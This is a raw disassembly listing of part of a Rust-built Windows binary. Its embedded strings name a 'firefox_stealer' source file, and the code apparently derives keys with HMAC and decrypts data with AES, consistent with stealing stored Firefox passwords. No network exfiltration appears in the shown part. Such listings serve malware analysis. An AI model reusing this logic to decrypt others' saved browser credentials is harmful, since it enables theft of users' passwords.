mov qword [rsi - 0x50], rdi
and qword [rsi - 8], 0
mov qword [rsi], rdi
and qword [rsi + 0x48], 0
movaps xmm0, xmmword [0x1403a9600]
lea rcx, [rsp + 0xaa0]
movaps xmmword [rcx + 0x70], xmm0
movaps xmmword [rcx + 0x60], xmm0
movaps xmmword [rcx + 0x50], xmm0
movaps xmmword [rcx + 0x40], xmm0
movaps xmmword [rcx + 0x30], xmm0
movaps xmmword [rcx + 0x20], xmm0
movaps xmmword [rcx + 0x10], xmm0
movaps xmmword [rcx], xmm0
lea r8, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_ring_0.17.5_src_hmac.rs
mov edx, 0x40
call fcn.140223491
mov rdi, rax
mov r14, rdx
cmp rdx, 0x14
mov eax, 0x14
cmovb rax, rdx
xor ecx, ecx
cmp rax, rcx
je 0x140134711
mov dl, byte [rsp + rcx + 0x64]
xor byte [rdi + rcx], dl
inc rcx
jmp 0x140134700
lea rcx, [rsp + 0x290]
mov rdx, rdi
mov r8, r14
call fcn.1402233ee
xor eax, eax
cmp r14, rax
je 0x140134734
xor byte [rdi + rax], 0x6a
inc rax
jmp 0x140134726
mov rcx, rsi
mov rdx, rdi
mov r8, r14
call fcn.1402233ee
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x78], rax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0xb0], xmm1
movaps xmmword [rsp + 0xc0], xmm2
movaps xmmword [rsp + 0xd0], xmm3
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [r15 + 0x50]
movups xmm1, xmmword [r15 + 0x60]
movups xmm2, xmmword [r15 + 0x70]
movups xmm3, xmmword [r15 + 0x80]
movaps xmmword [rsp + 0x1d0], xmm3
movaps xmmword [rsp + 0x1c0], xmm2
movaps xmmword [rsp + 0x1b0], xmm1
movaps xmmword [rsp + 0x1a0], xmm0
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0xe8], rax
xor eax, eax
cmp rax, 0x20
je 0x1401347f9
mov byte [r13 + rax], 0
inc rax
jmp 0x1401347e8
mov qword [rsp + 0x1e0], rbx
mov r14d, 0xe0
lea rax, [rsp + 0x660]
add rax, r14
mov qword [rsp + 0x200], rax
lea r15, [rsp + 0xaa8]
lea rax, [rsp + 0xaa0]
add r14, rax
xor edi, edi
mov ecx, 0x20
xorps xmm6, xmm6
lea rbp, [rsp + 0x150]
mov qword [rsp + 0xe0], r13
cmp edi, 1
je 0x140134b47
cmp rcx, 0x20
mov r12d, 0x20
cmovb r12, rcx
lea rax, [r13 + r12]
mov qword [rsp + 0x218], rax
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmm1, xmmword [rsp + 0xb0]
movaps xmm2, xmmword [rsp + 0xc0]
movaps xmm3, xmmword [rsp + 0xd0]
lea rax, [rsp + 0x668]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movups xmmword [rax + 0xb8], xmm6
movups xmmword [rax + 0xa8], xmm6
movups xmmword [rax + 0x98], xmm6
movups xmmword [rax + 0x88], xmm6
movups xmmword [rax + 0x78], xmm6
movups xmmword [rax + 0x68], xmm6
movups xmmword [rax + 0x58], xmm6
movups xmmword [rax + 0x48], xmm6
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmm1, xmmword [rsp + 0x1b0]
movaps xmm2, xmmword [rsp + 0x1c0]
movaps xmm3, xmmword [rsp + 0x1d0]
mov rax, qword [rsp + 0x200]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x660], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x6a8], rax
and qword [rsp + 0x730], 0
sub rcx, r12
mov qword [rsp + 0x220], rcx
inc edi
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x738], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x780], rax
lea rsi, [rsp + 0x660]
mov rcx, rsi
mov rdx, qword [rsp + 0x208]
mov r8, qword [rsp + 0x210]
call fcn.1402231fb
mov qword [rsp + 0x228], rdi
mov eax, edi
bswap eax
mov dword [rsp + 0x290], eax
mov r8d, 4
mov rcx, rsi
lea rdi, [rsp + 0x290]
mov rdx, rdi
call fcn.1402231fb
mov r8d, 0x128
mov rcx, rdi
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov rcx, rbp
mov rdx, rdi
call fcn.1402236d2
mov ebx, dword [rsp + 0x8c]
mov rcx, rbp
call fcn.140223832
cmp r12, rdx
cmovb rdx, r12
xor ecx, ecx
cmp rdx, rcx
je 0x1401349e8
mov r8b, byte [rax + rcx]
xor byte [r13 + rcx], r8b
inc rcx
jmp 0x1401349d5
cmp ebx, 1
je 0x140134b2a
dec ebx
mov rcx, rbp
call fcn.140223832
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmm1, xmmword [rsp + 0xb0]
movaps xmm2, xmmword [rsp + 0xc0]
movaps xmm3, xmmword [rsp + 0xd0]
movups xmmword [r15 + 0x30], xmm3
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
movups xmmword [r15 + 0xb8], xmm6
movups xmmword [r15 + 0xa8], xmm6
movups xmmword [r15 + 0x98], xmm6
movups xmmword [r15 + 0x88], xmm6
movups xmmword [r15 + 0x78], xmm6
movups xmmword [r15 + 0x68], xmm6
movups xmmword [r15 + 0x58], xmm6
movups xmmword [r15 + 0x48], xmm6
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmm1, xmmword [rsp + 0x1b0]
movaps xmm2, xmmword [rsp + 0x1c0]
movaps xmm3, xmmword [rsp + 0x1d0]
movups xmmword [r14 + 0x30], xmm3
movups xmmword [r14 + 0x20], xmm2
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0xaa0], rcx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0xae8], rcx
and qword [rsp + 0xb70], 0
mov r8, rdx
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0xb78], rcx
mov rcx, qword [rsp + 0xe8]
mov qword [rsp + 0xbc0], rcx
lea rsi, [rsp + 0xaa0]
mov rcx, rsi
mov rdx, rax
call fcn.1402231fb
mov r8d, 0x128
lea rdi, [rsp + 0x290]
mov rcx, rdi
mov rdx, rsi
call sub.msvcrt.dll_memcpy
lea rsi, [rsp + 0x248]
mov rcx, rsi
mov rdx, rdi
call fcn.1402236d2
mov ecx, 9
mov rdi, rbp
rep movsq qword [rdi], qword [rsi]
jmp 0x1401349c4
mov r13, qword [rsp + 0x218]
mov rdi, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x220]
jmp 0x140134847
lea rsi, [rsp + 0x9e]
mov word [rsi], 0xe04
mov rbx, qword [rsp + 0x1f8]
lea rcx, [rbx + 2]
xor edx, edx
call fcn.1401674a3
lea rdi, [rsp + 0x248]
mov qword [rdi], rax
mov qword [rdi + 8], rdx
and qword [rdi + 0x10], 0
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14027a491
mov rcx, rdi
mov rdx, qword [rsp + 0x1f0]
mov r8, rbx
call fcn.14027a491
cmp qword [rdi + 0x10], 0x10
jne 0x1401353fb
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x50], rax
xor r14d, r14d
lea r15, [rsp + 0xaa0]
mov r8d, 0x3c0
mov rcx, r15
xor edx, edx
call sub.msvcrt.dll_memset
mov esi, 0x10
mov qword [rsp + 0x48], rsi
mov rdi, qword [rsp + 0xe0]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov r12d, 8
mov edx, 8
mov r9d, 0x10
mov rcx, r15
mov r8, rdi
call fcn.140028ae5
lea rcx, [rsp + 0xae0]
add rdi, rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov edx, 8
mov r9d, 0x10
mov r8, rdi
call fcn.140028ae5
lea rbx, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_aes_soft_0.6.4_src_fixslice64.rs
lea rbp, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_aes_soft_0.6.4_src_fixslice64.rs
lea rdi, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_aes_soft_0.6.4_src_fixslice64.rs
lea rsi, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_aes_soft_0.6.4_src_fixslice64.rs
mov rcx, r15
mov rdx, r12
call fcn.140028f38
lea r13, [r12 + 8]
add r12, 0x10
mov rcx, r15
mov rdx, r13
mov r8, r12
mov r9, rbx
call fcn.14002954f
mov rcx, rax
call fcn.140028f9c
mov rcx, r15
mov rdx, r13
mov r8, r12
mov r9, rbp
call fcn.14002954f
mov rcx, rax
call fcn.140029347
mov rcx, r15
mov rdx, r13
mov r8, r12
mov r9, rdi
call fcn.14002954f
cmp r14, rdx
jae 0x140135378
xor byte [rax + r14*8 + 3], 0xf0
add r12, 0xfffffffffffffff8
mov rcx, r15
mov rdx, r12
mov r8d, 0x1c
call fcn.1400293bc
cmp r14, 6
je 0x140134d58
mov rcx, r15
mov rdx, r12
call fcn.140028f38
lea r13, [r12 + 8]
add r12, 0x10
mov rcx, r15
mov rdx, r13
mov r8, r12
lea r9, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_aes_soft_0.6.4_src_fixslice64.rs
call fcn.14002954f
mov rcx, rax
call fcn.140028f9c
mov rcx, r15
mov rdx, r13
mov r8, r12
mov r9, rsi
call fcn.14002954f
mov rcx, rax
call fcn.140029347
mov rcx, r15
mov rdx, r13
mov r8d, 0xc
call fcn.1400293bc
inc r14
mov r12, r13
jmp 0x140134c71
movabs r15, 0xf0f00000f0f0000
mov ebp, 3
mov r14d, 8
movabs r13, 0xf00ff00f00000
movabs r12, 0xf000ff000f0000
sub rbp, 1
jb 0x140134e7f
lea rsi, [r14 + 8]
lea rcx, [rsp + 0xaa0]
mov rdx, r14
mov r8, rsi
lea r9, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_aes_soft_0.6.4_src_fixslice64.rs
call fcn.14002954f
shl rdx, 3
xor ecx, ecx
cmp rdx, rcx
je 0x140134df0
mov r8, qword [rax + rcx]
mov r9, r8
shr r9, 8
xor r9, r8
and r9, r13
xor r8, r9
shl r9, 8
xor r9, r8
mov r8, r9
shr r8, 4
xor r8, r9
and r8, r15
xor r9, r8
shl r8, 4
xor r8, r9
mov qword [rax + rcx], r8
add rcx, 8
jmp 0x140134daf
lea rdi, [r14 + 0x10]
lea rbx, [rsp + 0xaa0]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
lea r9, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_aes_soft_0.6.4_src_fixslice64.rs
call fcn.14002954f
mov rcx, rax
call fcn.140027b75
lea r8, [r14 + 0x18]
mov rcx, rbx
mov rdx, rdi
lea r9, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_aes_soft_0.6.4_src_fixslice64.rs
call fcn.14002954f
shl rdx, 3
xor ecx, ecx
cmp rdx, rcx
je 0x140134e76
mov r8, qword [rax + rcx]
mov r9, r8
shr r9, 8
xor r9, r8
and r9, r12
xor r8, r9
shl r9, 8
xor r9, r8
mov r8, r9
shr r8, 4
xor r8, r9
and r8, r15
xor r9, r8
shl r8, 4
xor r8, r9
mov qword [rax + rcx], r8
add rcx, 8
jmp 0x140134e35
add r14, 0x20
jmp 0x140134d81
mov eax, 0x68
cmp rax, 0x70
je 0x140134ecd
mov rcx, qword [rsp + rax*8 + 0xaa0]
mov rdx, rcx
shr rdx, 8
xor rdx, rcx
and rdx, r13
xor rcx, rdx
shl rdx, 8
xor rdx, rcx
mov rcx, rdx
shr rcx, 4
xor rcx, rdx
and rcx, r15
xor rdx, rcx
shl rcx, 4
xor rcx, rdx
mov qword [rsp + rax*8 + 0xaa0], rcx
inc rax
jmp 0x140134e84
mov r12, qword [rsp + 0x50]
mov esi, 0x10
lea rdi, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_aes_soft_0.6.4_src_fixslice64.rs
lea r14, [rsp + 0xaa0]
mov rbx, qword [rsp + 0x90]
mov r15, qword [rsp + 0x1e8]
cmp rsi, 0x80
je 0x140134f1f
lea rdx, [rsi - 8]
mov rcx, r14
mov r8, rsi
mov r9, rdi
call fcn.14002954f
mov rcx, rax
call fcn.140029347
add rsi, 8
jmp 0x140134ef6
lea rdx, [rsp + 0xaa0]
mov r8d, 0x3c0
lea rsi, [rsp + 0x298]
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rdi, [rsp + 0x660]
mov r8d, 0x3c0
mov rcx, rdi
mov rdx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x650]
mov rdx, r12
call fcn.14028d752
lea rsi, [rsp + 0x290]
mov r8d, 0x3c0
mov rcx, rsi
mov rdx, rdi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0xaa0]
mov r8d, 0x3d0
mov rdx, rsi
call sub.msvcrt.dll_memcpy
test bl, 0xf
jne 0x140135417
xor esi, esi
mov rcx, rbx
xor edx, edx
call fcn.1401674a3
mov r13, rax
mov qword [rsp + 0x50], rdx
mov rcx, rax
mov rdx, r15
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov r15, rbx
shr r15, 4
and qword [rsp + 0x310], 0
lea rcx, [rsp + rsi]
add rcx, 0x290
call fcn.140166e97
inc qword [rsp + 0x310]
add rsi, 0x10
cmp rsi, 0x80
jne 0x140134fd0
lea r12, [rsp + 0x290]
mov ecx, 0x10
lea rax, [rsp + 0x660]
mov rdi, rax
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
lea rdx, [rsp + 0xe60]
mov rcx, rax
call fcn.14028d752
mov rsi, qword [rsp + 0x90]
and rsi, 0xffffffffffffff80
add rsi, r13
lea rdi, [rsp + 0x670]
lea rbp, [rsp + 0xaa0]
mov qword [rsp + 0x78], r13
cmp r13, rsi
je 0x1401350f1
mov r8d, 0x70
mov rcx, rdi
mov rdx, r13
call sub.msvcrt.dll_memcpy
lea rdx, [r13 + 0x70]
mov rcx, r12
call fcn.14028d752
mov ebx, 8
mov rdx, r13
test rbx, rbx
je 0x1401350a2
cmp rbx, 4
mov r8d, 4
cmovb r8, rbx
sub rbx, r8
mov r14, r8
shl r14, 4
add r14, rdx
mov rcx, rbp
call fcn.1400298b5
mov rdx, r14
jmp 0x140135075
mov rax, r13
lea rcx, [rsp + 0x660]
xor edx, edx
cmp rdx, 8
je 0x1401350d8
xor r8d, r8d
cmp r8, 0x10
je 0x1401350cb
mov r9b, byte [rcx + r8]
xor byte [rax + r8], r9b
inc r8
jmp 0x1401350b8
inc rdx
add rcx, 0x10
add rax, 0x10
jmp 0x1401350af
sub r13, 0xffffffffffffff80
movups xmm0, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x660], xmm0
jmp 0x140135047
mov rax, r15
and rax, 0xfffffffffffffff8
shl rax, 4
mov rbp, qword [rsp + 0x78]
mov rdi, rbp
add rdi, rax
and r15d, 7
lea r14, [rsp + 0x290]
lea rdx, [rsp + 0x660]
mov rcx, r14
call fcn.14028d752
movups xmm0, xmmword [r14]
lea rdx, [rsp + 0xe60]
movups xmmword [rdx], xmm0
lea rcx, [rsp + 0x1a0]
call fcn.14028d752
shl r15, 4
add r15, rdi
lea rsi, [rsp + 0xa0]
lea r12, [rsp + 0x150]
lea r13, [rsp + 0xaa0]
mov rbx, qword [rsp + 0x58]
cmp rdi, r15
je 0x1401351f4
mov rcx, rsi
mov rdx, rdi
call fcn.14028d752
mov rcx, r12
call fcn.140166e97
xor eax, eax
cmp rax, 0x40
je 0x14013519d
movups xmm0, xmmword [rsp + 0x150]
movups xmmword [rsp + rax + 0x290], xmm0
add rax, 0x10
jmp 0x140135181
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x290], xmm0
mov r8d, 4
mov rcx, r13
mov rdx, r14
call fcn.1400298b5
movaps xmm0, xmmword [rsp + 0x290]
movups xmmword [rdi], xmm0
xor eax, eax
cmp rax, 0x10
je 0x1401351db
mov cl, byte [rsp + rax + 0x1a0]
xor byte [rdi + rax], cl
inc rax
jmp 0x1401351c6
add rdi, 0x10
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x1a0], xmm0
jmp 0x140135163
mov qword [rbx + 8], rbp
mov rax, qword [rsp + 0x50]
mov qword [rbx + 0x10], rax
mov rax, qword [rsp + 0x90]
mov qword [rbx + 0x18], rax
mov byte [rbx], 0x18
mov rcx, qword [rsp + 0x248]
mov rdx, qword [rsp + 0x250]
call fcn.14015e77d
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0x1e0]
jmp 0x14013525b
mov qword [rsp + 0x678], 1
mov word [rsp + 0x680], 0x710
jmp 0x140134156
mov byte [rdi], 0x15
mov rcx, r13
mov rdx, rbx
call fcn.14015e77d
jmp 0x140133f6d
and qword [rsp + 0x678], 0
mov qword [rsp + 0x680], 1
jmp 0x14013361d
cmp byte [rax + 1], 0
je 0x14013528b
js case.0x140133eea.4
mov qword [rsp + 0x678], 1
mov word [rsp + 0x680], 0x810
jmp 0x140134156
test r12, r12
je 0x1401352e6
lea r8, [r14 - 1]
lea rdx, [r13 + 1]
lea rcx, [r12 - 1]
mov r9, rcx
sub r9, r8
jbe 0x1401352ff
and qword [rsp + 0x678], 0
mov qword [rsp + 0x680], r9
mov qword [rsp + 0x690], rdx
mov qword [rsp + 0x698], rcx
jmp 0x140134156
mov qword [rsp + 0x678], 1
mov byte [rsp + 0x680], 2
jmp 0x14013361d
cmp r12, 1
jbe 0x14013531e
mov r9b, byte [r12 + rdx - 2]
mov r10, rax
sub r10, 1
jb 0x14013531e
test r9b, 1
jne 0x14013535d
shr r9b, 1
jmp 0x14013530d
lea r9, [r12 + r13]
sub r8, rcx
mov qword [rsp + 0x660], r9
mov qword [rsp + 0x668], r8
mov qword [rsp + 0x670], 5
mov qword [rsp + 0x678], rdx
mov qword [rsp + 0x680], rcx
mov byte [rsp + 0x688], al
jmp 0x140134162
mov qword [rsp + 0x678], 1
mov word [rsp + 0x680], 0x510
jmp 0x140134156
lea r8, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_aes_soft_0.6.4_src_fixslice64.rs
mov rcx, r14
call fcn.1400500f0
ud2
lea r8, [0x1404bd780]
mov edx, pe_nt_image_headers64
mov rcx, rdi
jmp 0x140135382
lea rcx, str.internal_error:_entered_unreachable_code8
lea r8, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_asn1_rs_0.5.2_src_header.rs
mov edx, 0x28
call fcn.1400519b0
ud2
lea r8, [rsp + 0x290]
mov byte [r8], 0
lea rax, str.src_firefox_firefox_stealer.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1401355b7
mov edx, 0x2b
call fcn.140056d00
ud2
lea rcx, str.assertion_failed:_input.len____64_Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_sha1_smol_1.0.0_src_lib.rs
lea r8, [0x1404bd708]
mov edx, 0x23
jmp 0x1401353ad
lea rax, str.src_firefox_firefox_stealer.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140444a60]
jmp 0x140135431
lea rax, str.HD_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140444aa0]
lea r8, [rsp + 0x290]
jmp 0x1401353da